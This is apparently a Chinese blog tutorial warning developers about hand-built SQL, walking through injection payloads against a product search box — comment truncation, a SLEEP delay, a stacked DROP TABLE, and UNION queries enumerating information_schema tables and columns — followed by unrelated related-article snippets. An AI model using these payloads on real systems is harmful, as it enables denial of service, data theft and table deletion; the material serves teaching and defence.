sql注入基本原理
SQL注入基本原理
WEB技术发展日新月异,但是徒手拼SQL的传统手艺还是受相当多的开发者亲睐。毕竟相比于再去学习一套复杂的ORM规则,手拼更说方便,直观。通常自己拼SQL的人,应该是有听说过SQL注入很危险,但是总是心想:我的SQL语句这么简单,不可能被注入的。
花5分钟看完这个完整的例子,从今往后应该再也不敢有以上侥幸心理了。
简单场景
有一个WEB界面提供输入商品名称,展示对应价格,生产日期及生产地信息。例如输入Hammer展示:
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
我们跳过了搭建Web搜索界面的过程,直接关注重点部分: SQL注入。
如果要实现以上功能,那么我们大致可以猜到服务器使用的SQL语句如下:
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
其中?表示目前我们并不知道具体的表名和字段名,此SQL唯一可以被操纵的就是单引号里面的输入内容'%Hammer%。假如我们直接在查找框里输入一个单引号。即变成
select ? from ? where ? Like '%'%';
这样拼接后造成SQL语法错误,得不到任何结果,我们需要使用--来把最后一个单引号注释掉。
select ? from ? where ? Like '%'; -- %';
--后的是注释内容(你也可以用#),这样你可以得到所有的产品信息,目前为止,还是没有嗅到危险的信号。
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| Paring Knife | 10.98 | China | 2019.11.11 |
| Boning Knife | 19.98 | China | 2019.01.01 |
小试牛刀and
紧紧抓住上一步中可以扩展的单引号部分。来一个简单的延时语句试一试:
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
这时查询会2秒后才返回结果,如果把时间延长,用脚本多点几次查询,一下就能把数据库的连接池用完。
当然,还有破坏力更强的!
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
可以直接把表/数据库直接删除掉,至于如何知道引数据库中有哪一些表(即如何确定上句SQL中的xxxx)呢?
为所欲为union
我们需要知道此数据库有哪一些表!这样才能能拿到有用的信息。
使用union可以把不同表的内容拼在一起,小试一下:
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| 1 | 2 | 3 | 4 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。
Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| authors | hawkeye | 3 | 4 |
| products | hawkeye | 3 | 4 |
| user | hawkeye | 3 | 4 |
| .... | .... | 3 | 4 |
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。
看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| id | hawkeye | 3 | 4 |
| name | hawkeye | 3 | 4 |
| price | hawkeye | 3 | 4 |
| address | hawkeye | 3 | 4 |
| updated_at | hawkeye | 3 | 4 |
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):
select name,price,address,updated_at from products where name like '%Hammer%';
通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表
sql注入基本原理的更多相关文章
- 从orderby引发的SQL注入问题的思考
背景: 某一天准备上线,合完master之后准备发布了,忽然公司的代码安全监测提示了可能在代码中存在sql注入的风险,遂即检查,发现sql注入问题 既然碰到了这个问题,那就了简单了解下sql注入 基础 ...
- php中防止SQL注入的方法
[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...
- 在php中防止SQL注入的方法
摘要:我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行 php能够更安全.整个PH ...
- 转:PHP中防止SQL注入的方法
[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...
- SQL 注入
我们的团队项目中有课程名称输入框,其中的内容会拼接到类sql查询语句中. 所以可能会产生类sql注入的问题,我们团队采用了利用正则表达式判断输入内容的形式来规避这类注入. 下面简单介绍一下sql注入 ...
- DEDECMS数据库执行原理、CMS代码层SQL注入防御思路
我们在上一篇文章中学习了DEDECMS的模板标签.模板解析原理,以及通过对模板核心类的Hook Patch来对模板的解析流量的攻击模式检测,达到修复模板类代码执行漏洞的目的 http://www.cn ...
- SQL注入原理小结
今天,一基友问我一个问题说:为什么SQL注入要加单引号,这个当时我一时也回答不上,怪就怪自己理论太菜,不过回去仔细思考了一下,觉得这个问题也是蛮简单的. 首先大家应该明白的一点就是SQL注入的目的:加 ...
- php防sql注入
[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我 们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们 ...
- php防止sql注入
[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...
随机推荐
- eclipse提交代码到GitHub
1.配置git 2.右键项目--> Team--> Share Project... 3.右键项目--> Team--> Commit...
- iOS编译Unity3d文件报错 Permission denied
最近在尝试Unity3d的使用,毕竟Unity可以很好的编译出iOS代码,只用我们正常进行打包就好了. 这里遇到了个问题,分享一下. Archive快结束的时候,报了三个错误,类似于 /Users/s ...
- JVM学习记录1--JVM内存布局
先上个图 这是根据<Java虚拟机规范(第二版)>所画的jvm内存模型. 程序计数器:程序计数器是用来记录当前线程方法执行顺序的,对应的就是我们编程中一行行代码的执行顺序,如分支,跳转,循 ...
- 页面离开前提示用户(onbeforeunload 事件)
window.onbeforeunload = function (e) { var evt = e || window.event; evt.returnValue = '离开会使编写的内容丢失'; ...
- django-模板之extends(三)
/book/base.html <!DOCTYPE html> <html lang="en"> <head> <meta charset ...
- Xbim.GLTF源码解析(四):轻量化处理
原创作者:flowell,转载请标明出处:https://www.cnblogs.com/flowell/p/10839433.html 在IFC标准中,由IfcRepresentationMap支持 ...
- Java ArrayList底层实现原理源码详细分析Jdk8
简介 ArrayList是基于数组实现的,是一个动态数组,其容量能自动增长,类似于C语言中的动态申请内存,动态增长内存. ArrayList不是线程安全的,只能用在单线程环境下,多线程环境下可以考虑用 ...
- BOOL,int,float,指针变量 与“零值”比较的if语句
分别给出BOOL,int,float,指针变量 与“零值”比较的 if 语句(假设变量名为var) 解答: BOOL型变量:if(!var) int型变量: if(var==0) float型变量: ...
- ansible剧本之playbook操作
ansible 剧本 yaml介绍: 是一个编程语言 文件后缀名 yaml yml 数据对应格式: 字典: key: value 列表: [] - ansible-playbook命令格式 执行顺序: ...
- MVC5异步提交表单疑难杂症
//此处必须添加,不然不能执行异步回调OnAddPortSuccess方法 <script src="~/scripts/jquery.unobtrusive-ajax.min.js& ...